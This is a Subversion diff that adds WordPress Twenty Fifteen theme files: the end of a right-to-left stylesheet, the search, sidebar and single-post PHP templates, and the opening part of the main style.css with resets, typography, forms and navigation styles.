+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 33px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	.widget blockquote {
+		padding-right: 1.2143em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4643em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.2857em 0.2857em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6471em 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.1667em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 6px;
+		left: auto;
+	}
+}
+
+
+/**
+ * 11.6 Desktop Large 1240px
+ */
+
+@media screen and (min-width: 77.5em) {
+	blockquote {
+		margin-right: -1.0909em;
+		margin-left: auto;
+		padding-right: 0.9091em;
+		padding-left: 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 32px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	.widget blockquote {
+		padding-right: 1.25em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4688em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.25em 0.25em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6842em 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.4737em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+}
+
+
+/**
+ * 11.7 Desktop X-Large 1403px
+ */
+
+@media screen and (min-width: 87.6875em) {
+	body:before {
+		width: -webkit-calc(50% - 289px);
+		width: calc(50% - 289px);
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/search.php	(revision 33402)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The template for displaying search results pages.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyfifteen' ), get_search_query() ); ?></h1>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post(); ?>
+
+				<?php
+				/*
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called content-search.php and that will be used instead.
+				 */
+				get_template_part( 'content', 'search' );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/sidebar.php	(revision 33402)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * The sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+if ( has_nav_menu( 'primary' ) || has_nav_menu( 'social' ) || is_active_sidebar( 'sidebar-1' )  ) : ?>
+	<div id="secondary" class="secondary">
+
+		<?php if ( has_nav_menu( 'primary' ) ) : ?>
+			<nav id="site-navigation" class="main-navigation" role="navigation">
+				<?php
+					// Primary navigation menu.
+					wp_nav_menu( array(
+						'menu_class'     => 'nav-menu',
+						'theme_location' => 'primary',
+					) );
+				?>
+			</nav><!-- .main-navigation -->
+		<?php endif; ?>
+
+		<?php if ( has_nav_menu( 'social' ) ) : ?>
+			<nav id="social-navigation" class="social-navigation" role="navigation">
+				<?php
+					// Social links navigation menu.
+					wp_nav_menu( array(
+						'theme_location' => 'social',
+						'depth'          => 1,
+						'link_before'    => '<span class="screen-reader-text">',
+						'link_after'     => '</span>',
+					) );
+				?>
+			</nav><!-- .social-navigation -->
+		<?php endif; ?>
+
+		<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+			<div id="widget-area" class="widget-area" role="complementary">
+				<?php dynamic_sidebar( 'sidebar-1' ); ?>
+			</div><!-- .widget-area -->
+		<?php endif; ?>
+
+	</div><!-- .secondary -->
+
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/single.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying all single posts and attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			/*
+			 * Include the post format-specific template for the content. If you want to
+			 * use this in a child theme, then include a file called called content-___.php
+			 * (where ___ is the post format) and that will be used instead.
+			 */
+			get_template_part( 'content', get_post_format() );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) :
+				comments_template();
+			endif;
+
+			// Previous/next post navigation.
+			the_post_navigation( array(
+				'next_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Next', 'twentyfifteen' ) . '</span> ' .
+					'<span class="screen-reader-text">' . __( 'Next post:', 'twentyfifteen' ) . '</span> ' .
+					'<span class="post-title">%title</span>',
+				'prev_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Previous', 'twentyfifteen' ) . '</span> ' .
+					'<span class="screen-reader-text">' . __( 'Previous post:', 'twentyfifteen' ) . '</span> ' .
+					'<span class="post-title">%title</span>',
+			) );
+
+		// End the loop.
+		endwhile;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/style.css	(revision 33402)
@@ -0,0 +1,5731 @@
+/*
+Theme Name: Twenty Fifteen
+Theme URI: https://wordpress.org/themes/twentyfifteen
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer.
+Version: 1.0
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: black, blue, gray, pink, purple, white, yellow, dark, light, two-columns, left-sidebar, fixed-layout, responsive-layout, accessibility-ready, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready
+Text Domain: twentyfifteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+
+/**
+ * Table of Contents
+ *
+ * 1.0 - Reset
+ * 2.0 - Genericons
+ * 3.0 - Typography
+ * 4.0 - Elements
+ * 5.0 - Forms
+ * 6.0 - Navigations
+ *   6.1 - Links
+ *   6.2 - Menus
+ * 7.0 - Accessibility
+ * 8.0 - Alignments
+ * 9.0 - Clearings
+ * 10.0 - Header
+ * 11.0 - Widgets
+ * 12.0 - Content
+ *    12.1 - Posts and pages
+ *    12.2 - Post Formats
+ *    12.3 - Comments
+ * 13.0 - Footer
+ * 14.0 - Media
+ *    14.1 - Captions
+ *    14.2 - Galleries
+ * 15.0 - Media Queries
+ *    15.1 - Mobile Large
+ *    15.2 - Tablet Small
+ *    15.3 - Tablet Large
+ *    15.4 - Desktop Small
+ *    15.5 - Desktop Medium
+ *    15.6 - Desktop Large
+ *    15.7 - Desktop X-Large
+ */
+
+
+/**
+ * 1.0 - Reset
+ *
+ * Resetting and rebuilding styles have been helped along thanks to the fine work of
+ * Eric Meyer http://meyerweb.com/eric/tools/css/reset/index.html
+ * along with Nicolas Gallagher and Jonathan Neal http://necolas.github.com/normalize.css/
+ * and Blueprint http://www.blueprintcss.org/
+ */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+
+html {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 62.5%;
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+
+*,
+*:before,
+*:after {
+	-webkit-box-sizing: inherit;
+	-moz-box-sizing: inherit;
+	box-sizing: inherit;
+}
+
+body {
+	background: #f1f1f1;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+main,
+nav,
+section {
+	display: block;
+}
+
+ol,
+ul {
+	list-style: none;
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens: none;
+	-ms-hyphens: none;
+	hyphens: none;
+	quotes: none;
+}
+
+a:focus {
+	outline: 2px solid #c1c1c1;
+	outline: 2px solid rgba(51, 51, 51, 0.3);
+}
+
+a:hover,
+a:active {
+	outline: 0;
+}
+
+a img {
+	border: 0;
+}
+
+
+/**
+ * 2.0 - Genericons
+ */
+
+.social-navigation a:before,
+.secondary-toggle:before,
+.dropdown-toggle:after,
+.bypostauthor > article .fn:after,
+.comment-reply-title small a:before,
+.comment-navigation .nav-next a:after,
+.comment-navigation .nav-previous a:before,
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before,
+.pagination .prev:before,
+.pagination .next:before,
+.image-navigation a:before,
+.image-navigation a:after,
+.format-link .entry-title a:after,
+.entry-content .more-link:after,
+.entry-summary .more-link:after,
+.author-link:after {
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font-family: "Genericons";
+	font-size: 16px;
+	font-style: normal;
+	font-weight: normal;
+	font-variant: normal;
+	line-height: 1;
+	speak: none;
+	text-align: center;
+	text-decoration: inherit;
+	text-transform: none;
+	vertical-align: top;
+}
+
+
+/**
+ * 3.0 Typography
+ */
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #333;
+	font-family: "Noto Serif", serif;
+	font-size: 15px;
+	font-size: 1.5rem;
+	line-height: 1.6;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+}
+
+p {
+	margin-bottom: 1.6em;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border-left: 4px solid #707070;
+	border-left: 4px solid rgba(51, 51, 51, 0.7);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 18px;
+	font-size: 1.8rem;
+	font-style: italic;
+	line-height: 1.6667;
+	margin-bottom: 1.6667em;
+	padding-left: 0.7778em;
+}
+
+blockquote p {
+	margin-bottom: 1.6667em;
+}
+
+blockquote > p:last-child {
+	margin-bottom: 0;
+}
+
+blockquote cite,
+blockquote small {
+	color: #333;
+	font-size: 15px;
+	font-size: 1.5rem;
+	font-family: "Noto Sans", sans-serif;
+	line-height: 1.6;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 1.6em;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+	-webkit-hyphens: none;
+	-moz-hyphens: none;
+	-ms-hyphens: none;
+	hyphens: none;
+}
+
+pre {
+	background-color: transparent;
+	background-color: rgba(0, 0, 0, 0.01);
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	line-height: 1.2;
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 0.8em;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #eaeaea;
+	border-bottom: 1px dotted rgba(51, 51, 51, 0.1);
+	cursor: help;
+}
+
+mark,
+ins {
+	background-color: #fff9c0;
+	text-decoration: none;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+small {
+	font-size: 75%;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 4.0 Elements
+ */
+
+hr {
+	background-color: #eaeaea;
+	background-color: rgba(51, 51, 51, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.6em;
+}
+
+ul,
+ol {
+	margin: 0 0 1.6em 1.3333em;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+}
+
+dl {
+	margin-bottom: 1.6em;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin-bottom: 1.6em;
+}
+
+table,
+th,
+td {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 1.6em;
+	table-layout: fixed; /* Prevents HTML tables from becoming too wide */
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+th {
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+}
+
+td {
+	border-width: 0 1px 1px 0;
+}
+
+th, td {
+	padding: 0.4em;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+figure {
+	margin: 0;
+}
+
+del {
+	opacity: 0.8;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+
+::-webkit-input-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+:-moz-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+::-moz-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	opacity: 1; /* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+
+/**
+ * 5.0 Forms
+ */
+
+button,
+input,
+select,
+textarea {
+	background-color: #f7f7f7;
+	border-radius: 0;
+	font-size: 16px;
+	font-size: 1.6rem;
+	line-height: 1.5;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+input,
+textarea {
+	background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0)); /* Removing the inner shadow on iOS inputs */
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+input:focus,
+textarea:focus {
+	background-color: #fff;
+	border: 1px solid #c1c1c1;
+	border: 1px solid rgba(51, 51, 51, 0.3);
+	color: #333;
+}
+
+input:focus,
+select:focus {
+	outline: 2px solid #c1c1c1;
+	outline: 2px solid rgba(51, 51, 51, 0.3);
+}
+
+button[disabled],
+input[disabled],
+select[disabled],
+textarea[disabled] {
+	cursor: default;
+	opacity: .5;
+}
+
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	background-color: #333;
+	border: 0;
+	color: #fff;
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+}
+
+button:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:hover,
+button:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus,
+input[type="submit"]:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	outline: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-cancel-button,
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+textarea {
+	padding: 0.375em;
+	width: 100%;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+textarea:focus {
+	outline: 0;
+}
+
+.post-password-form {
+	position: relative;
+}
+
+.post-password-form label {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.post-password-form input[type="submit"] {
+	padding: 0.7917em;
+	position: absolute;
+	right: 0;
+	bottom: 0;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+.search-form input[type="submit"],
+.widget .search-form input[type="submit"] {
+	padding: 0;
+}
+
+
+/**
+ * 6.0 Navigations
+ */
+
+
+/**
+ * 6.1 Links
+ */
+
+a {
+	color: #333;
+	text-decoration: none;
+}
+
+a:hover,
+a:focus {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+
+/**
+ * 6.2 Menus
+ */
+
+.main-navigation a {
+	display: block;
+	padding: 0.8em 0;
+	position: relative;
+	text-decoration: none;
+}
+
+.main-navigation ul {
+	list-style: none;
+	margin: 0;
+}
+
+.main-navigation ul ul {
+	display: none;
+	margin-left: 0.8em;
+}
+
+.main-navigation ul .toggled-on {
+	display: block;
+}
+
+.main-navigation li {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	position: relative;
+}
+
+.main-navigation .current_page_item > a,
+.main-navigation .current-menu-item > a,
+.main-navigation .current_page_ancestor > a {
+	font-weight: 700;
+}
+
+.main-navigation .nav-menu > ul > li:first-child,
+.main-navigation .nav-menu > li:first-child {
+	border-top: 0;
+}
+
+.main-navigation .page_item_has_children > a,
+.main-navigation .menu-item-has-children > a {
+	padding-right: 48px;
+}
+
+.main-navigation .menu-item-description {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 400;
+	line-height: 1.5;
+	margin-top: 0.5em;
+}
+
+.no-js .main-navigation ul ul {
+	display: block;
+}
+
+.dropdown-toggle {
+	background-color: transparent;
+	border: 0;
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+	content: "";
+	height: 42px;
+	padding: 0;
+	position: absolute;
+	text-transform: lowercase; /* Stop screen readers to read the text as capital letters */
+	top: 3px;
+	right: 0;
+	width: 42px;
+}
+
+.dropdown-toggle:after {
+	color: #333;
+	content: "\f431";
+	font-size: 24px;
+	line-height: 42px;
+	position: relative;
+	top: 0;
+	left: 1px;
+	width: 42px;
+}
+
+.dropdown-toggle:hover,
+.dropdown-toggle:focus {
+	background-color: #eaeaea;
+	background-color: rgba(51, 51, 51, 0.1);
+}
+
+.dropdown-toggle:focus {
+	outline: 1px solid #c1c1c1;
+	outline: 1px solid rgba(51, 51, 51, 0.3);
+}
+
+.dropdown-toggle.toggle-on:after {
+	content: "\f432";
+}
+
+.social-navigation {
+	margin: 9.0909% 0;
+}
+
+.social-navigation ul {
+	list-style: none;
+	margin: 0 0 -1.6em 0;
+}
+
+.social-navigation li {
+	float: left;
+}
+
+.social-navigation a {
+	display: block;
+	height: 3.2em;
+	position: relative;
+	width: 3.2em;
+}
+
+.social-navigation a:before {
+	content: "\f415";
+	font-size: 24px;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.social-navigation a[href$="/feed/"]:before {
+	content: "\f413";
+}
+
+.social-navigation a[href*="codepen.io"]:before {
+	content: "\f216";
+}
+
+.social-navigation a[href*="digg.com"]:before {
+	content: "\f221";
+}
+
+.social-navigation a[href*="dribbble.com"]:before {
+	content: "\f201";
+}
+
+.social-navigation a[href*="dropbox.com"]:before {
+	content: "\f225";
+}
+
+.social-navigation a[href*="facebook.com"]:before {
+	content: "\f203";
+}
+
+.social-navigation a[href*="flickr.com"]:before {
+	content: "\f211";
+}
+
+.social-navigation a[href*="foursquare.com"]:before {
+	content: "\f226";
+}
+
+.social-navigation a[href*="plus.google.com"]:before {
+	content: "\f206";
+}
+
+.social-navigation a[href*="github.com"]:before {
+	content: "\f200";
+}
+
+.social-navigation a[href*="instagram.com"]:before {
+	content: "\f215";
+}
+
+.social-navigation a[href*="linkedin.com"]:before {
+	content: "\f208";
+}
+
+.social-navigation a[href*="pinterest.com"]:before {
+	content: "\f210";
+}
+
+.social-navigation a[href*="getpocket.com"]:before {
+	content: "\f224";
+}
+
+.social-navigation a[href*="polldaddy.com"]:before {
+	content: "\f217";
+}
+
+.social-navigation a[href*="reddit.com"]:before {
+	content: "\f222";
+}
+
+.social-navigation a[href*="stumbleupon.com"]:before {
+	content: "\f223";
+}
+
+.social-navigation a[href*="tumblr.com"]:before {
+	content: "\f214";
+}
+
+.social-navigation a[href*="twitter.com"]:before {
+	content: "\f202";
+}
+
+.social-navigation a[href*="vimeo.com"]:before {
+	content: "\f212";
+}
+
+.social-navigation a[href*="wordpress.com"]:before,
+.social-navigation a[href*="wordpress.org"]:before {
+	content: "\f205";
+}
+
+.social-navigation a[href*="youtube.com"]:before {
+	content: "\f213";
+}
+
+.social-navigation a[href*="mailto:"]:before {
+	content: "\f410";
+}
+
+.social-navigation a[href*="spotify.com"]:before {
+	content: "\f515";
+}
+
+.social-navigation a[href*="twitch.tv"]:before {
+	content: "\f516";
+}
+
+.secondary-toggle {
+	background-color: transparent;
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	height: 42px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	top: 50%;
+	right: 0;
+	text-align: center;
+	-webkit-transform: translateY(-50%);
+	-ms-transform: translateY(-50%);
+	transform: translateY(-50%);
+	width: 42px;
+}
+
+.secondary-toggle:before {
+	color: #333;
+	content: "\f419";
+	line-height: 40px;
+	width: 40px;
+}
+
+.secondary-toggle:hover,
+.secondary-toggle:focus {
+	background-color: transparent;
+	border: 1px solid #c1c1c1;
+	border: 1px solid rgba(51, 51, 51, 0.3);
+	outline: 0;
+}
+
+.secondary-toggle.toggled-on:before {
+	content: "\f405";
+	font-size: 32px;
+	position: relative;
+	top: 1px;
+	left: -1px;
+}
+
+.post-navigation {
+	background-color: #fff;
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	font-weight: 700;
+}
+
+.post-navigation a {
+	display: block;
+	padding: 3.8461% 7.6923%;
+}
+
+.post-navigation span {
+	display: block;
+}
+
+.post-navigation .meta-nav {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	position: relative;
+	text-transform: uppercase;
+	z-index: 2;
+}
+
+.post-navigation .post-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	position: relative;
+	z-index: 2;
+}
+
+.post-navigation .nav-next,
+.post-navigation .nav-previous {
+	background-position: center;
+	background-size: cover;
+	position: relative;
+}
+
+.post-navigation a:before {
+	content: "";
+	display: block;
+	height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	z-index: 1;
+}
+
+.post-navigation a:hover:before,
+.post-navigation a:focus:before {
+	opacity: 0.5;
+}
+
+.post-navigation .meta-nav {
+	opacity: 0.8;
+}
+
+.post-navigation div + div {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.pagination {
+	background-color: #fff;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	font-family: "Noto Sans", sans-serif;
+}
+
+.pagination .nav-links {
+	min-height: 3.2em;
+	position: relative;
+	text-align: center;
+}
+
+/* reset screen-reader-text */
+.pagination .current .screen-reader-text {
+	position: static !important;
+}
+
+.pagination .page-numbers {
+	display: none;
+	line-height: 3.2em;
+	padding: 0 0.6667em;
+}
+
+.pagination .page-numbers.current {
+	text-transform: uppercase;
+}
+
+.pagination .current {
+	display: inline-block;
+	font-weight: 700;
+}
+
+.pagination .prev,
+.pagination .next {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	color: #fff;
+	display: inline-block;
+	height: 48px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 48px;
+}
+
+.pagination .prev:before,
+.pagination .next:before {
+	font-size: 32px;
+	height: 48px;
+	line-height: 48px;
+	position: relative;
+	width: 48px;
+}
+
+.pagination .prev:hover,
+.pagination .prev:focus,
+.pagination .next:hover,
+.pagination .next:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+}
+
+.pagination .prev {
+	left: 0;
+}
+
+.pagination .prev:before {
+	content: "\f430";
+	left: -1px;
+}
+
+.pagination .next {
+	right: 0;
+}
+
+.pagination .next:before {
+	content: "\f429";
+	right: -1px;
+}
+
+.image-navigation,
+.comment-navigation {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.image-navigation a,
+.comment-navigation a {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.image-navigation a:hover,
+.image-navigation a:focus,
+.comment-navigation a:hover,
+.comment-navigation a:focus {
+	color: #333;
+}
+
+.image-navigation .nav-previous:not(:empty),
+.image-navigation .nav-next:not(:empty),
+.comment-navigation .nav-previous:not(:empty),
+.comment-navigation .nav-next:not(:empty) {
+	display: inline-block;
+}
+
+.image-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before,
+.comment-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before {
+	content: "\2215";
+	font-weight: 400;
+	margin: 0 0.7em;
+}
+
+.image-navigation .nav-previous a:before,
+.comment-navigation .nav-previous a:before {
+	content: "\f430";
+	margin-right: 0.2em;
+	position: relative;
+}
+
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-next a:after {
+	content: "\f429";
+	margin-left: 0.2em;
+	position: relative;
+}
+
+.comment-navigation {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	border-bottom: 1px solid #eaeaea;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 2em 0;
+}
+
+.comments-title + .comment-navigation {
+	border-bottom: 0;
+}
+
+.image-navigation {
+	padding: 0 7.6923%;
+}
+
+.image-navigation .nav-previous:not(:empty),
+.image-navigation .nav-next:not(:empty) {
+	margin-bottom: 2em;
+}
